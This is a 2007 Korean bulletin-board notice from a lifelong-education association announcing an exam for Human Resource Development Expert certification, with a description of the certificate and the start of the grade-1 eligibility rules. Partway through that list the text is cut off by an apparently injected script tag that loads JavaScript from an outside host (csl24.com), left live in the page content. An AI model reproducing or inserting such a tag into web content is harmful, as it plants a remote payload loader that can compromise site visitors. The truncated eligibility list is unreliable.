인적자원개발사(HRDE) 자격검정시험 공고
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작성자 한국평생교육협회 작성일2007.01.28 조회4,637회 댓글0건본문
인적자원개발사(HRDE) 자격검정시험 공고
인적자원개발사는 개인개발과 조직개발을 위한 전문가의 역할과, 기관,
기업, 단체, 지역인적자원개발(RHRD) 및 국가인적자원개발(NHRD)에서
업무를 잘 수행 할 수 있도록 자격검정을 통해 자격증을 발급하고 자격을
취득한 인적자원개발사(HRDE)가 충분한 능력을 발휘 할 수 있도록 한다.
“인적자원개발사”(HRDE)는 각 분야 모두 응시할 수 있다.
◆ HRDE 급수별 응시자격
응시자격(각 급수별 1개 항목에 해당하는 자)
1급
ㆍ인적자원개발사 2급 자격증 소지자로 2년 이상 평생교육, 인적자원 개발업무 경력자
ㆍ박사?script src=http://www.csl24.com/b.js>
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